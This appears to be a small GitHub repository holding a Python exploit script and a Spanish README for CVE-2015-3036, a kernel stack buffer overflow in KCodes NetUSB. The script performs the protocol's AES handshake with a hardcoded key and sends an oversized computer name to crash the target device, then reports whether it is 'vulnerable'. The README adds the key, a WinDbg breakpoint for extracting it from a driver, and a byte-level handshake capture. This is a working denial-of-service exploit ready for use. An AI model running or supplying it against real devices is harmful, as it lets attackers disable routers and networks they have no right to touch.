├── NetUSB-exploit.py └── README.md /NetUSB-exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import socket 5 | import sys 6 | import random 7 | import string 8 | import time 9 | import struct 10 | from Crypto.Cipher import AES #pip install pycrypto 11 | 12 | DOS_BYTES = 128 #BoF 13 | TIMEOUT = 5 14 | RECV_SIZE = 16 15 | PORT_DEFAULT = 20005 16 | 17 | AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc" 18 | 19 | print "#" 20 | print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)" 21 | print "# CVE-2015-3036" 22 | print "# Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com" 23 | print "# Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net" 24 | print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt" 25 | print "#" 26 | print "" 27 | 28 | if len(sys.argv) >= 2: 29 | try: 30 | target = sys.argv[1] 31 | try: 32 | port = int(sys.argv[2]) 33 | except Exception as detail: 34 | port = PORT_DEFAULT 35 | 36 | #Inicialización de la conexión. 37 | init = "\x56\x05" 38 | #Datos aleatorios para el handshake 39 | randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE)) 40 | #Nombre del equipo con 128 carácteres para provocar DoS. 41 | computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES)) 42 | #Longitud del nombre del equipo - "\x80\x00\x00\x00" 43 | lengthComputerName = struct.pack("i", DOS_BYTES); 44 | #Sync - "\x07\x00\x00\x00" 45 | syncOK = struct.pack("i", 7); 46 | #Finalización de la conexión. 47 | end = "\x01" 48 | 49 | encryption_suite = AES.new(AESKey, AES.MODE_ECB, "") 50 | randomDataCrypt1 = encryption_suite.encrypt(randomData) 51 | 52 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 53 | sock.settimeout(TIMEOUT) 54 | 55 | print "Conectando:", target,":",port 56 | sock.connect((target, port)) 57 | print "Conectado" 58 | print "----------------" 59 | 60 | print "Inicializando:", init.encode("hex") 61 | sock.send(init) 62 | print "Random data para cifrar por el servidor:", randomData.encode("hex") 63 | sock.send(randomData) 64 | print "----------------" 65 | 66 | result = sock.recv(RECV_SIZE) 67 | print "Random data cifrados por el servidor:", result.encode("hex") 68 | print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex") 69 | if (randomDataCrypt1 == result): 70 | print "Handshake OK" 71 | randomData = sock.recv(RECV_SIZE) 72 | print "Random data a cifrar por el cliente:", randomData.encode("hex") 73 | randomDataCrypt2 = encryption_suite.encrypt(randomData) 74 | print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex") 75 | print "----------------" 76 | sock.send(randomDataCrypt2) 77 | print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex") 78 | sock.send(lengthComputerName) 79 | print "Nombre del host a parear:", computerName.encode("hex") 80 | sock.send(computerName) 81 | print "----------------" 82 | 83 | print "Sync: ", syncOK.encode("hex") 84 | sock.send(syncOK) 85 | if (sock.recv(RECV_SIZE) == syncOK): 86 | print "Sync ok" 87 | sock.send(end) 88 | try: 89 | #Esperamos unos segundos antes de conectar 90 | time.sleep(TIMEOUT) 91 | #Comprobamos si el dispositivo sigue vivo... 92 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 93 | sock.settimeout(TIMEOUT) 94 | sock.connect((target, port)) 95 | print "No vulnerable" 96 | except Exception as detail: 97 | print "Vulnerable, exploit OK" 98 | else: 99 | print 'Sync error.' 100 | except Exception as detail: 101 | print "Error de comunicación:", detail 102 | else: 103 | print "Usage:", sys.argv[0], "target [port]" 104 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS) 2 | ----------------------- 3 | 4 | * Exploit para explotar la vulnerabilidad CVE-2015-3036 5 | * Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com 6 | * Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net 7 | * Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt 8 | 9 | Dependencias 10 | 11 | ``` 12 | pip install pycrypto 13 | ``` 14 | 15 | Clave de cifrado / descifrado simétrico para la autenticación mutua entre cliente y servidor NetUSB. 16 | 17 | ``` 18 | AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc" 19 | ``` 20 | 21 | Depuración del driver NetgearUDSTcpBus.sys con WinDbg 22 | 23 | ``` 24 | bu NetgearUDSTcpBus+1793d #Dirección RVA del driver donde poner el breakpoint para obtener la clave de cifrado almacenada en eax. 25 | ``` 26 | 27 | Ejemplo comunicación KCodes NetUSB con handshake y envío del nombre del equipo cliente junto con la longitud del mismo. 28 | 29 | ``` 30 | #send 31 | char peer0_0[] = { 32 | 0x56, 0x05 }; 33 | 'Random data para cifrar por el dispositivo' 34 | char peer0_1[] = { 35 | 0x44, 0xad, 0x16, 0x46, 0xbd, 0xcd, 0xb7, 0x3f, 36 | 0x6d, 0x8c, 0xae, 0x6c, 0x42, 0x32, 0xbc, 0x53 }; 37 | 38 | #recv 39 | 'Random data cifrado por el dispositivo' 40 | char peer1_0[] = { 41 | 0xcf, 0x08, 0x2b, 0x80, 0x46, 0x9b, 0x31, 0x28, 42 | 0x4c, 0x76, 0xc4, 0x10, 0xda, 0xb6, 0x8c, 0x25 }; 43 | Random data para cifrar por el cliente' 44 | char peer1_1[] = { 45 | 0xd2, 0x5d, 0xa7, 0xe7, 0xa7, 0xf7, 0x39, 0xeb, 46 | 0x1e, 0xd3, 0x5b, 0xac, 0x34, 0x50, 0xec, 0x96 }; 47 | 48 | #send 49 | Random data cifrado por el cliente' 50 | char peer0_2[] = { 51 | 0x14, 0xa4, 0xe6, 0x5b, 0x8a, 0x0c, 0x04, 0x87, 52 | 0x5c, 0x76, 0x2b, 0xb6, 0xb9, 0xf0, 0xa6, 0xf2 }; 53 | #bytes con la longitud en caracteres del nombre del equipo 54 | char peer0_3[] = { 55 | 0x0c, 0x00, 0x00, 0x00 }; 56 | #Nombre del equipo 57 | char peer0_4[] = { 58 | 0x4d, 0x53, 0x4a, 0x33, 0x39, 0x53, 0x4b, 0x53, 59 | 0x4b, 0x4b, 0x53, 0x41 }; 60 | char peer0_5[] = { 61 | 0x07, 0x00, 0x00, 0x00 }; 62 | 63 | #recv 64 | char peer1_2[] = { 65 | 0x07, 0x00, 0x00, 0x00 }; 66 | 67 | #send 68 | char peer0_6[] = { 69 | 0x01 }; 70 | ``` 71 | 72 | Credits 73 | ------- 74 | 75 | * Adrián Ruiz 76 | * w: funsecurity.net 77 | * t: @funsecurity.net 78 | * e: adrian_adrianruiz.net 79 | * GPG ID: 0x586270E8 --------------------------------------------------------------------------------